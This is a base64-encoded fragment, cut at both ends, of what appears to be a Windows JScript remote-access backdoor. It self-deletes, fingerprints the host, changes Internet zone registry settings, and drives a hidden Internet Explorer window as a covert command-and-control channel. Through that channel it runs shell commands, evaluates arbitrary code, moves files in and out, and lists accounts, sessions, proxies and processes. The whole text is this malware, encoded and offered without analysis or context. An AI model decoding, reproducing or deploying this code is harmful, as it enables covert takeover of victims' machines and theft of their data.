l0cnl7DQoJCXRoaXMub1NBID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1NoZWxsLkFwcGxpY2F0aW9uJyk7DQoJCXRoaXMuYWRvQ29uID0gbmV3IEFjdGl2ZVhPYmplY3QoJ0FET0RCLkNvbm5lY3Rpb24nKTsNCgkJdGhpcy5hZG9SZWMgPSBuZXcgQWN0aXZlWE9iamVjdCgnQURPREIuUmVjb3Jkc2V0Jyk7DQoJCX1jYXRjaChlKXt9DQoJCXRoaXMub1diZW1Mb2NhdG9yID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1diZW1TY3JpcHRpbmcuU1diZW1Mb2NhdG9yJyk7DQoJCXRoaXMub0NpbXYyID0gdGhpcy5vV2JlbUxvY2F0b3IuQ29ubmVjdFNlcnZlcignLicsICdyb290XFxjaW12MicpOw0KCQl0aGlzLnRtcERpciA9IHRoaXMub1NoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncygnJXRlbXAlJyk7DQoJCXRoaXMuc3RhcnR1cERpciA9IHRoaXMub1NoZWxsLlNwZWNpYWxGb2xkZXJzKCdTdGFydHVwJyk7DQoJCXRoaXMuYWxsU3RhcnR1cERpciA9IHRoaXMub1NoZWxsLlNwZWNpYWxGb2xkZXJzKCdBbGxVc2Vyc1N0YXJ0dXAnKTsNCgkJdGhpcy5kaXJzICs9ICd0bXBEaXI6XG4nK3RoaXMudG1wRGlyKydcblxuJzsNCgkJdGhpcy5kaXJzICs9ICdzdGFydHVwRGlyOlxuJyt0aGlzLnN0YXJ0dXBEaXIrJ1xuXG4nOw0KCQl0aGlzLmRpcnMgKz0gJ2FsbFN0YXJ0dXBEaXI6XG4nK3RoaXMuYWxsU3RhcnR1cERpcisnXG5cbic7DQoJCXRoaXMub3NCaXQgPSB0aGlzLmdldE9TQml0KCk7DQoJCXRoaXMubXV0ZXhGaWxlUGF0aCA9IHRoaXMudG1wRGlyICsgJ1xcJyArIHRoaXMubXV0ZXhGaWxlTmFtZTsNCgkJDQoJCWlmKHRoaXMuYkRlbGV0ZVNlbGYpew0KCQkJdHJ5e3RoaXMub0ZTLkRlbGV0ZUZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSk7fWNhdGNoKGUpe30NCgkJfQ0KCQkNCgkJaWYodGhpcy5iTXV0ZXgpew0KCQkJdHJ5ew0KCQkJCUZvclJlYWRpbmcgPSAxOw0KCQkJCUZvcldyaXRpbmcgPSAyOw0KCQkJCUZvckFwcGVuZGluZyA9IDg7DQoJCQkJdGhpcy5tdXRleEZpbGUgPSB0aGlzLm9GUy5PcGVuVGV4dEZpbGUodGhpcy5tdXRleEZpbGVQYXRoLCBGb3JBcHBlbmRpbmcsIHRydWUpOw0KCQkJfWNhdGNoKGVycil7DQoJCQkJV1NjcmlwdC5RdWl0KCk7DQoJCQl9DQoJCX0NCgkJDQoJCXRoaXMuaWQgPSB0aGlzLm9OZXQuQ29tcHV0ZXJOYW1lICsnfCcrIHRoaXMuZ2V0T1NCaXQoKSArJ3wnKyB0aGlzLm9OZXQuVXNlckRvbWFpbiArJ1xcJysgdGhpcy5vTmV0LlVzZXJOYW1lICsnfCc7DQoJCWUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoIlNFTEVDVCAqIEZST00gV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9uIFdIRVJFIElQRW5hYmxlZCA9IFRydWUiKSk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyAhZS5hdEVuZCgpOyBlLm1vdmVOZXh0KCkpew0KCQkgICAgdmFyIGVsZSA9IGUuaXRlbSgpOw0KCQkgICAgdGhpcy5pZCArPSBlbGUuTUFDQWRkcmVzcyArICItIiArIGVsZS5JUEFkZHJlc3MoMCkgKyAiLCI7DQoJCX0NCgkJDQoJCXRoaXMuSW5pdE1vY2tEbGwzMigpOw0KCQl0aGlzLkluaXRNb2NrRGxsNjQoKTsNCgkJDQoJCXRoaXMub1NoZWxsLlJlZ1dyaXRlKCJIS0VZX0NVUlJFTlRfVVNFUlxcU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXEludGVybmV0IFNldHRpbmdzXFxab25lc1xcM1xcMTYwMSIsIDAsICJSRUdfRFdPUkQiKTsNCgkJdGhpcy5jcmVhdGVJRSgpLlF1aXQoKTsNCgkJaWYodGhpcy5iRGVidWcpew0KCQkJdGhpcy5yZXRyeUludGVydmFsID0gMTAwMCozOw0KCQl9DQoJfSwNCgkNCgltYWluOmZ1bmN0aW9uKCl7DQoJCXRoaXMub0lFID0gdGhpcy5jcmVhdGVJRSgpOw0KCQl0aGlzLmdldENvbmZpZygpOw0KCQkNCgkJaWYodGhpcy5pbml0Q29kZSE9Jycpew0KCQkJdHJ5e2V2YWwodGhpcy5pbml0Q29kZSk7fWNhdGNoKGVycil7fQ0KCQl9DQoJCQ0KCQlpZih0aGlzLmRzdFVybD09Jycpew0KCQkJcmV0dXJuOw0KCQl9DQoJCXRoaXMudHJ5QXV0aCgpOw0KCQl3b3JrSUUgPSB0aGlzLm9JRTsNCgkJdmFyIGlkbGVUaW1lcyA9IDA7DQoJCXZhciBpID0gMDsNCgkJZm9yKDs7KXsNCgkJCXRoaXMuc2V0V29ya0ZsYWcodGhpcy53b3JrRmxhZ1llcyk7DQoJCQlpZihpZGxlVGltZXMvMj09dGhpcy5pZGxlU2Vjb25kQmVmb3JlRnJlc2gpew0KCQkJCXRoaXMuZnJlc2hJRSh3b3JrSUUpOw0KCQkJCWlkbGVUaW1lcyA9IDA7DQoJCQl9DQoJCQl2YXIgaWRsZVRoaXNUaW1lID0gdHJ1ZTsNCgkJCWlmKCsraT09OTk5OSlpPTA7DQoJCQlXU2NyaXB0LlNsZWVwKDUwMCk7DQoJCQl2YXIgc25kID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzbmQiKTsNCgkJCXZhciByY3YgPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInJjdiIpOw0KCQkJdmFyIGRvd24gPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImRvd24iKTsNCgkJCXZhciBkb3duQnRuID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJkb3duQnRuIik7DQoJCQl2YXIgdXAgPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInVwIik7DQoJCQl2YXIgdXBJZHggPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInVwSWR4Iik7DQoJCQlpZighc25kIHx8ICFyY3YgfHwgIWRvd24gfHwgIWRvd25CdG4gfHwgIXVwIHx8ICF1cElkeClicmVhazsNCgkJCQ0KCQkJdHJ5ew0KCQkJCWlmKGklKHRoaXMuZG93bkludGVydmFsKjIpPT0wICYmIGRvd24uaW5uZXJUZXh0Lmxlbmd0aD09MCAmJiB0aGlzLmRvd25JbmRleDx0aGlzLmRvd25Db3VudCAmJiB0aGlzLm9GUy5GaWxlRXhpc3RzKHRoaXMuZG93bkZpbGUpKXsNCgkJCQkJaWRsZVRoaXNUaW1lID0gZmFsc2U7DQoJCQkJCWlmKFdTY3JpcHQuQ3JlYXRlQmxvY2tGaWxlKHRoaXMuZG93bkZpbGUsIHRoaXMuZG93bk9uY2UsIHRoaXMuZG93bkluZGV4KSl7DQoJCQkJCQlmID0gdGhpcy5vRlMuR2V0RmlsZSh0aGlzLmRvd25GaWxlKTsNCgkJCQkJCWRmUGF0aCA9IHRoaXMudG1wRGlyICsgJ1xcJyArIGYuTmFtZSArICd+JyArIHRoaXMuZG93bkluZGV4Ow0KCQkJCQkJRm9yUmVhZGluZyA9IDE7DQoJCQkJCQlkZiA9IHRoaXMub0ZTLk9wZW5UZXh0RmlsZShkZlBhdGgsIEZvclJlYWRpbmcpOw0KCQkJCQkJZG93bkRhdGEgPSBkZi5SZWFkQWxsKCk7DQoJCQkJCQlkZi5DbG9zZSgpOw0KCQkJCQkJdGhpcy5vRlMuRGVsZXRlRmlsZShkZlBhdGgpOw0KCQkJCQkJZG93bi5pbm5lclRleHQgPSB0aGlzLmVuY29kZSh0aGlzLmNhc2VEb3duRmlsZURhdGEgKyBkb3duRGF0YSk7DQoJCQkJCQkrK3RoaXMuZG93bkluZGV4Ow0KCQkJCQkJaWYodGhpcy5kb3duSW5kZXg9PXRoaXMuZG93bkNvdW50KXsNCgkJCQkJCQl0aGlzLmRvd25PayA9IHRydWU7DQoJCQkJCQkJdGhpcy5kb3duRW5kID0gdGhpcy5ub3coKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQlkb3duQnRuLmNsaWNrKCk7DQoJCQl9Y2F0Y2goZSl7fQ0KCQkJDQoJCQl0cnl7DQoJCQkJdXBEYXRhID0gdXAuaW5uZXJUZXh0Ow0KCQkJCWlmKGklKHRoaXMudXBJbnRlcnZhbCoyKT09MCAmJiB1cERhdGEubGVuZ3RoPjAgJiYgdGhpcy51cEluZGV4PHRoaXMudXBDb3VudCl7DQoJCQkJCWlkbGVUaGlzVGltZSA9IGZhbHNlOw0KCQkJCQlwdXRSZXMgPSAwOw0KCQkJCQl0cnl7cHV0UmVzID0gV1NjcmlwdC5QdXRCbG9ja1RvRmlsZSh0aGlzLnVwRmlsZSwgdGhpcy51cE9uY2UsIHRoaXMudXBJbmRleCwgdXBEYXRhKTt9Y2F0Y2goZSl7fQ0KCQkJCQlpZihwdXRSZXMpew0KCQkJCQkJKyt0aGlzLnVwSW5kZXg7DQoJCQkJCQlpZih0aGlzLnVwSW5kZXg9PXRoaXMudXBDb3VudCl7DQoJCQkJCQkJdXBJZHguaW5uZXJUZXh0ID0gJy0xJzsNCgkJCQkJCQl0aGlzLnVwT2sgPSB0cnVlOw0KCQkJCQkJCXRoaXMudXBFbmQgPSB0aGlzLm5vdygpOw0KCQkJCQkJfQ0KCQkJCQl9ZWxzZXsNCgkJCQkJCXRoaXMudXBPaz10cnVlOw0KCQkJCQkJdGhpcy51cENvdW50PTA7DQoJCQkJCX0NCgkJCQkJdXAuaW5uZXJUZXh0ID0gJyc7DQoJCQkJfQ0KCQkJCWlmKCF0aGlzLnVwT2spew0KCQkJCQl1cElkeC5pbm5lclRleHQgPSB0aGlzLnVwSW5kZXg7DQoJCQkJfQ0KCQkJfWNhdGNoKGUpe30NCgkJCQ0KCQkJdmFyIHJlY3ZEYXRhID0gcmN2LmlubmVyVGV4dDsNCgkJCWlmKHJlY3ZEYXRhLmxlbmd0aD4wKXsNCgkJCQlpZGxlVGhpc1RpbWUgPSBmYWxzZTsNCgkJCQlyY3YuaW5uZXJUZXh0ID0gJyc7DQoJCQkJaWYocmVjdkRhdGE9PXRoaXMuY2FzZVJlYXV0aCl7DQoJCQkJCXRoaXMudHJ5QXV0aCgpOw0KCQkJCQljb250aW51ZTsNCgkJCQl9DQoJCQkJaWYocmVjdkRhdGEubGVuZ3RoPjMpew0KCQkJCQl0aGlzLnNldFdvcmtGbGFnKHRoaXMud29ya0ZsYWdObyk7DQoJCQkJCXNuZC5pbm5lclRleHQgPSB0aGlzLmNhc2VIYW5kbGVyKHJlY3ZEYXRhKTsNCgkJCQl9DQoJCQl9DQoJCQlpZihpZGxlVGhpc1RpbWUpeysraWRsZVRpbWVzO30NCgkJfQ0KCX0sDQoJDQoJY2FzZUhhbmRsZXI6ZnVuY3Rpb24ocmVjdkRhdGEpew0KCQl2YXIgdG1wID0gdGhpcy5kZWNvZGUocmVjdkRhdGEpOw0KCQljYXNlU3RyID0gdG1wLnN1YnN0cmluZygwLCAzKS50b0xvd2VyQ2FzZSgpOw0KCQlkYXRhID0gdG1wLnN1YnN0cmluZygzKTsNCgkJc3dpdGNoKGNhc2VTdHIpDQoJCXsNCgkJCWNhc2UgdGhpcy5jYXNlRXhlY0NtZDoNCgkJCQlyZXR1cm4gdGhpcy5lbmNvZGUodGhpcy5jYXNlRXhlY0NtZCArIHRoaXMubm93KCkgKyAnXG4nICsgdGhpcy5leGVjV2l0aENTY3JpcHQoZGF0YSwgMTApKTsNCgkJCWNhc2UgdGhpcy5jYXNlRG93bkZpbGU6DQoJCQkJdHJ5ew0KCQkJCQlXU2NyaXB0LkNoZWNrVXBBbmREb3duKCk7DQoJCQkJCWZpbGVQYXRoID0gZGF0YTsNCgkJCQkJZmlsZVNpemUgPSAwOw0KCQkJCQl0cnl7ZmlsZVNpemUgPSB0aGlzLm9GUy5HZXRGaWxlKGZpbGVQYXRoKS5TaXplO31jYXRjaChlKXt9DQoJCQkJCWNvdW50ID0gTWF0aC5mbG9vcihmaWxlU2l6ZS90aGlzLmRvd25PbmNlKSArIChmaWxlU2l6ZSV0aGlzLmRvd25PbmNlPT0wID8gMCA6IDEpOw0KCQkJCQlpZihjb3VudD4wKXsNCgkJCQkJCXRoaXMuZG93bkZpbGUgPSBmaWxlUGF0aDsNCgkJCQkJCXRoaXMuZG93blNpemUgPSBmaWxlU2l6ZTsNCgkJCQkJCXRoaXMuZG93bkNvdW50ID0gY291bnQ7DQoJCQkJCQl0aGlzLmRvd25JbmRleCA9IDA7DQoJCQkJCQl0aGlzLmRvd25PayA9IGZhbHNlOw0KCQkJCQkJdGhpcy5kb3duU3RhcnQgPSB0aGlzLm5vdygpOw0KCQkJCQkJdGhpcy5kb3duRW5kID0gJyc7DQoJCQkJCX0NCgkJCQkJcmV0dXJuIHRoaXMuZW5jb2RlKHRoaXMuY2FzZURvd25GaWxlICsgdGhpcy5ub3coKSArICdcbicgKyBmaWxlUGF0aCArICdcbmRvd25Db3VudD0nICsgY291bnQgDQoJCQkJCQkrICdcbmRvd25TaXplPScgKyBmaWxlU2l6ZSArICdcbkRvd25SZXEgUmVjdmVkIScpOw0KCQkJCX1jYXRjaChlKXsNCgkJCQkJcmV0dXJuIHRoaXMuZW5jb2RlKHRoaXMuY2FzZURvd25GaWxlICsgdGhpcy5ub3coKSArICdcbicgKyAnRG93bmxvYWQgTm90IFN1cHBvcnRlZCEnKTsNCgkJCQl9DQoJCQljYXNlIHRoaXMuY2FzZVVwRmlsZToNCgkJCQlhcmdBcnIgPSBkYXRhLnNwbGl0KHRoaXMuc3BsaXRDaGFyKTsNCgkJCQlpZihhcmdBcnIubGVuZ3RoPT0yKXsNCgkJCQkJdXBQYXRoID0gYXJnQXJyWzBdOw0KCQkJCQl1cERhdGEgPSBhcmdBcnJbMV07DQoJCQkJCXNpemUgPSB0aGlzLmJhc2U2NFRvRmlsZSh1cFBhdGgsIHVwRGF0YSk7DQoJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xuJyArIHVwUGF0aCArICdcbicgKyBzaXplICsgJ1xuVXBsb2FkIE9LIScpOw0KCQkJCX1lbHNlIGlmKGFyZ0Fyci5sZW5ndGg9PTQpew0KCQkJCQl0cnl7DQoJCQkJCQlXU2NyaXB0LkNoZWNrVXBBbmREb3duKCk7DQoJCQkJCQl0aGlzLnVwRmlsZSA9IGFyZ0FyclswXTsNCgkJCQkJCWFjY2Vzc1RvV3JpdGUgPSB0cnVlOw0KCQkJCQkJdHJ5e2ZUZXN0PXRoaXMub0ZTLkNyZWF0ZVRleHRGaWxlKHRoaXMudXBGaWxlLCB0cnVlKTtmVGVzdC5DbG9zZSgpO31jYXRjaChlKXthY2Nlc3NUb1dyaXRlPWZhbHNlO30NCgkJCQkJCWlmKGFjY2Vzc1RvV3JpdGUpew0KCQkJCQkJCXRoaXMudXBTaXplID0gYXJnQXJyWzFdOw0KCQkJCQkJCXRoaXMudXBPbmNlID0gYXJnQXJyWzJdOw0KCQkJCQkJCXRoaXMudXBDb3VudCA9IGFyZ0FyclszXTsNCgkJCQkJCQl0aGlzLnVwSW5kZXggPSAwOw0KCQkJCQkJCXRoaXMudXBPayA9IGZhbHNlOw0KCQkJCQkJCXRoaXMudXBTdGFydCA9IHRoaXMubm93KCk7DQoJCQkJCQkJdGhpcy51cEVuZCA9ICcnOw0KCQkJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xudXBGaWxlPScgKyB0aGlzLnVwRmlsZSArICdcbnVwU2l6ZT0nICt0aGlzLnVwU2l6ZSANCgkJCQkJCQkJKyAnXG51cE9uY2U9JyArIHRoaXMudXBPbmNlICsgJ1xudXBDb3VudD0nICt0aGlzLnVwQ291bnQgKyAnXG5VcFJlcSBSZWN2ZWQhJyk7DQoJCQkJCQl9ZWxzZXsNCgkJCQkJCQlyZXR1cm4gdGhpcy5lbmNvZGUodGhpcy5jYXNlVXBGaWxlICsgdGhpcy5ub3coKSArICdcbnVwRmlsZT0nICsgdGhpcy51cEZpbGUgKyAnXG5Ob0FjY2Vzc1RvV3JpdGUhJyk7DQoJCQkJCQl9DQoJCQkJCX1jYXRjaChlKXsNCgkJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xuJyArICdVcGxvYWQgQmlnRmlsZSBOb3QgU3VwcG9ydGVkIScpOw0KCQkJCQl9DQoJCQkJfWVsc2V7DQoJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xuJyArICdVcEFyZyBFcnIhJyk7DQoJCQkJfQ0KCQkJY2FzZSB0aGlzLmNhc2VDb2RlOg0KCQkJCXJldD0nJzsNCgkJCQl0cnl7d2l0aChvcnope2V2YWwoZGF0YSk7fX1jYXRjaChlcnIpe3JldD10aGlzLmVyck9ialRvU3RyKGVycik7fQ0KCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VDb2RlICsgdGhpcy5ub3coKSArICdcbicgKyByZXQpOw0KCQkJZGVmYXVsdDoNCgkJCQlyZXR1cm4gdGhpcy5lbmNvZGUodGhpcy5jYXNlRXhlY0NtZCArIHRoaXMubm93KCkgKyAnXG4nICsgJ3Vua25vd24gY2FzZTogJytjYXNlU3RyKydcbicrdG1wKTsNCgkJfQ0KCX0sDQoJDQoJZ2V0Q29uZmlnOmZ1bmN0aW9uKCl7DQoJCXdvcmtJRSA9IHRoaXMub0lFOw0KCQlmb3IodmFyIGkgaW4gdGhpcy5qbXBVcmxMaXN0KXsNCgkJCW9rID0gZmFsc2U7DQoJCQl0aGlzLmptcFVybCA9IHRoaXMuam1wVXJsTGlzdFtpXTsNCgkJCXRoaXMubmF2aWdhdGVJRSh3b3JrSUUsIHRoaXMuam1wVXJsKTsNCgkJCQ0KCQkJam1wUmVzID0gdGhpcy5qbXBSZWdleC5leGVjKHdvcmtJRS5Eb2N1bWVudC5kb2N1bWVudEVsZW1lbnQub3V0ZXJIVE1MKTsNCgkJCWlmKGptcFJlcyl7DQoJCQkJdGhpcy5kc3RVcmwgPSB0aGlzLmRlY29kZShqbXBSZXNbMV0pOw0KCQkJCW9rID0gdHJ1ZTsNCgkJCX0NCgkJCWNvZGVSZXMgPSB0aGlzLmNvZGVSZWdleC5leGVjKHdvcmtJRS5Eb2N1bWVudC5kb2N1bWVudEVsZW1lbnQub3V0ZXJIVE1MKTsNCgkJCWlmKGNvZGVSZXMpew0KCQkJCXRoaXMuaW5pdENvZGUgPSB0aGlzLmRlY29kZShjb2RlUmVzWzFdKTsNCgkJCQlvayA9IHRydWU7DQoJCQl9DQoJCQlpZihvayl7YnJlYWs7fQ0KCQkJV1NjcmlwdC5TbGVlcCgzMDAwKTsNCgkJfQ0KCX0sDQoJDQoJc2V0V29ya0ZsYWc6ZnVuY3Rpb24oZmxhZyl7DQoJCXZhciB3b3JrRmxhZyA9IHRoaXMub0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMud29ya0ZsYWdJZCk7DQoJCWlmKHdvcmtGbGFnKXsNCgkJCXdvcmtGbGFnLmlubmVyVGV4dCA9IGZsYWc7DQoJCX0NCgl9LA0KCQ0KCXRyeUF1dGg6ZnVuY3Rpb24oKXsNCgkJd29ya0lFID0gdGhpcy5vSUU7DQoJCXRoaXMubmF2aWdhdGVJRSh3b3JrSUUsIHRoaXMuZHN0VXJsKTsNCgkJdmFyIGxvZ2luRm9ybSA9IHdvcmtJRS5Eb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0aGlzLmxvZ2luRm9ybUlkKTsNCgkJdmFyIHVzZXJuYW1lID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMudUlkKTsNCgkJdmFyIHBhc3N3b3JkID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMucElkKTsNCgkJdmFyIHZhbGljb2RlID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMudklkKTsNCgkJdmFyIHN1Ym1pdCA9IHdvcmtJRS5Eb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0aGlzLnNJZCk7DQoJCWlmKCFsb2dpbkZvcm0gfHwgIXVzZXJuYW1lIHx8ICFwYXNzd29yZCB8fCAhdmFsaWNvZGUgfHwgIXN1Ym1pdCl7DQoJCQlyZXR1cm47DQoJCX0NCgkJbG9naW5Gb3JtLmFjdGlvbiA9IHRoaXMubG9naW5BY3Rpb247DQoJCXVzZXJuYW1lLm5hbWUgPSB0aGlzLnVOYW1lOw0KCQl1c2VybmFtZS52YWx1ZSA9IHRoaXMuaWQ7DQoJCXBhc3N3b3JkLm5hbWUgPSB0aGlzLnBOYW1lOw0KCQlwYXNzd29yZC52YWx1ZSA9IHRoaXMuaWQuc3BsaXQoIiIpLnJldmVyc2UoKS5qb2luKCIiKTsNCgkJdmFsaWNvZGUubmFtZSA9IHRoaXMudk5hbWU7DQoJCXZhbGljb2RlLnZhbHVlID0gdGhpcy52YWxpY29kZTsNCgkJc3VibWl0LmNsaWNrKCk7DQoJCS8qTk9TbGVlcCovDQoJCXRoaXMubmF2aWdhdGVJRSh3b3JrSUUsIHRoaXMuZHN0VXJsKTsNCgl9LA0KCQ0KCWNyZWF0ZUlFOmZ1bmN0aW9uKHVybCl7DQoJCXZhciBpZSA9IG51bGw7DQoJCWZvcig7Oyl7DQoJCQl0cnl7DQoJCQkJaWUgPSBuZXcgQWN0aXZlWE9iamVjdCgnSW50ZXJuZXRFeHBsb3Jlci5BcHBsaWNhdGlvbicpOw0KCQkJCWllLlZpc2libGUgPSB0aGlzLmJEZWJ1ZzsNCgkJCQlpZS5TaWxlbnQgPSB0cnVlOw0KCQkJCQ0KCQkJCXJlYWxVcmwgPSB1cmw/dXJsOnRoaXMuaW5pdFVybA0KCQkJCXRoaXMubmF2aWdhdGVJRShpZSwgcmVhbFVybCk7CQkJCQ0KCQkJCWJyZWFrOw0KCQkJfWNhdGNoKGVycil7V1NjcmlwdC5TbGVlcCgxMDAwKTt9DQoJCX0NCgkJcmV0dXJuIGllOw0KCX0sDQoJDQoJZnJlc2hJRTpmdW5jdGlvbihpZSl7DQoJCXZhciBSRUZSRVNIX0NPTVBMRVRFTFkgPSAzOw0KCQlpZS5SZWZyZXNoMihSRUZSRVNIX0NPTVBMRVRFTFkpOw0KCQl0aGlzLndhaXRJRShpZSk7DQoJfSwNCgkNCgluYXZpZ2F0ZUlFOmZ1bmN0aW9uKGllLCB1cmwpew0KCQl2YXIgaTsNCgkJZm9yKGk9MDtpPDM7KytpKXsNCgkJCXRyeXsNCgkJCQluYXZOb0hpc3RvcnkgPSAweDI7DQoJCQkJaWUuTmF2aWdhdGUodXJsLCBuYXZOb0hpc3RvcnksICJfc2VsZiIpOw0KCQkJCXRoaXMud2FpdElFKGllKTsNCgkJCQlicmVhazsNCgkJCX1jYXRjaChlcnIpe1dTY3JpcHQuU2xlZXAoNTAwKTt9DQoJCX0NCgkJcmV0dXJuIGkhPTM7DQoJfSwNCgkNCgl3YWl0SUU6ZnVuY3Rpb24oaWUpew0KCQl0cnl7DQoJCQlXU2NyaXB0LlNsZWVwKDEwMCk7DQoJCQl3aGlsZShpZS5SZWFkeVN0YXRlIT00IHx8IGllLkJ1c3kgfHwgIWllLkRvY3VtZW50KXtXU2NyaXB0LlNsZWVwKDEwKTt9DQoJCX1jYXRjaChlcnIpe30NCgl9LA0KCQ0KCS8qKioqKioqKioqKioqKioqKioqKiBGdW5jICoqKioqKioqKioqKioqKioqKioqLw0KCXFTZXNzaW9uOmZ1bmN0aW9uKCl7DQoJCXJlcyA9ICcnOw0KCQllID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCdTZWxlY3QgKiBGcm9tIFdpbjMyX1Nlc3Npb24nKSk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyFlLmF0RW5kKCk7ZS5tb3ZlTmV4dCgpKXsNCgkJCXMgPSBlLml0ZW0oKTsNCgkJCXJlcyArPSBzLk5hbWUrJyAnK3MuQ2FwdGlvbisnICcrcy5EZXNjcmlwdGlvbisnICcrcy5Mb2dvblR5cGUudG9TdHJpbmcoKSsnXG4nOw0KCQl9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglnZXRBbGxVc2VyU2lkOmZ1bmN0aW9uKCl7DQoJCXJlcyA9ICcnOw0KCQlxdWVyeVN0ciA9ICdTZWxlY3QgKiBGcm9tIFdpbjMyX0FjY291bnQgd2hlcmUgU0lEVHlwZT0xIGFuZCBMb2NhbEFjY291bnQ9VFJVRSc7DQoJCWUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkocXVlcnlTdHIpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7IWUuYXRFbmQoKTtlLm1vdmVOZXh0KCkpew0KCQkJYWNjID0gZS5pdGVtKCk7DQoJCQlyZXMgKz0gYWNjLkRvbWFpbisnXFwnK2FjYy5OYW1lKyd8JythY2MuU0lEKyd8JythY2MuRGVzY3JpcHRpb24rJ1xuJzsNCgkJfQ0KCQlyZXR1cm4gcmVzOw0KCX0sDQoJcHJveHk6ZnVuY3Rpb24oKXsNCgkJbGluZXMgPSB0aGlzLmdldEFsbFVzZXJTaWQoKS5zcGxpdCgnXG4nKTsNCgkJcmVzID0gJyc7DQoJCWZvcih2YXIgaSBpbiBsaW5lcyl7DQoJCQlpZighbGluZXNbaV0ubGVuZ3RoKWNvbnRpbnVlOw0KCQkJaW5mbyA9IGxpbmVzW2ldLnNwbGl0KCd8Jyk7DQoJCQljb21tZW50ID0gaW5mb1swXSsnICcraW5mb1syXTsNCgkJCXJlcyArPSAnWycraSsnXSAnICsgY29tbWVudCArICdcbic7DQoJCQlzaWQgPSBpbmZvWzFdDQoJCQl0cnl7DQoJCQkJcmVzICs9ICdQcm94eUVuYWJsZT0nK3RoaXMub1NoZWxsLlJlZ1JlYWQoJ0hLRVlfVVNFUlNcXCcrc2lkKydcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxJbnRlcm5ldCBTZXR0aW5nc1xcUHJveHlFbmFibGUnKTsNCgkJCQlyZXMgKz0gJ1xuJzsNCgkJCQlyZXMgKz0gJ1Byb3h5U2VydmVyPScrdGhpcy5vU2hlbGwuUmVnUmVhZCgnSEtFWV9VU0VSU1xcJytzaWQrJ1xcU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXEludGVybmV0IFNldHRpbmdzXFxQcm94eVNlcnZlcicpOw0KCQkJCXJlcyArPSAnXG4nOw0KCQkJfWNhdGNoKGUpe30NCgkJCXJlcyArPSAnXG4nOw0KCQl9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglwTGlzdDpmdW5jdGlvbigpew0KCQlyZXMgPSAnJzsNCgkJcHJvY0xpc3QgPSBbXTsNCgkJYmFuZGVyTGlzdCA9IFsnTmFtZScsJ1Byb2Nlc3NJZCcsJ1Nlc3Npb25JZCcsJ2NvbW1hbmRsaW5lJ107DQoJCXNwbGl0Q2hhciA9ICcgJzsNCgkJbWF4TGVuTGlzdCA9IFtdOw0KCQl2YXIgZSA9IG5ldyBFbnVtZXJhdG9yKHRoaXMub0NpbXYyLkV4ZWNRdWVyeSgnc2VsZWN0ICogZnJvbSBXaW4zMl9Qcm9jZXNzJykpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCXByb2MgPSBlLml0ZW0oKTsNCgkJCXByb2NMaXN0LnB1c2gocHJvYyk7DQoJCX0NCgkJZm9yKGkgaW4gYmFuZGVyTGlzdCl7DQoJCQliYW5kZXIgPSBiYW5kZXJMaXN0W2ldOw0KCQkJbWF4TGVuID0gYmFuZGVyLmxlbmd0aCArIDI7DQoJCQlmb3IoaiBpbiBwcm9jTGlzdCl7DQoJCQkJcHJvYyA9IHByb2NMaXN0W2pdOw0KCQkJCXByb3BlcnR5ID0gcHJvYy5Qcm9wZXJ0aWVzXy5pdGVtKGJhbmRlcikgKyAnICc7DQoJCQkJbGVuID0gcHJvcGVydHkubGVuZ3RoOw0KCQkJCWlmKGxlbj5tYXhMZW4pbWF4TGVuPWxlbjsNCgkJCX0NCgkJCW1heExlbkxpc3RbaV0gPSBtYXhMZW47DQoJCX0NCgkJDQoJCWZvcihpIGluIGJhbmRlckxpc3Qpew0KCQkJZWxlID0gYmFuZGVyTGlzdFtpXTsNCgkJCXJlcyArPSBlbGU7DQoJCQlpZihpPGJhbmRlckxpc3QubGVuZ3RoLTEpZm9yKGo9ZWxlLmxlb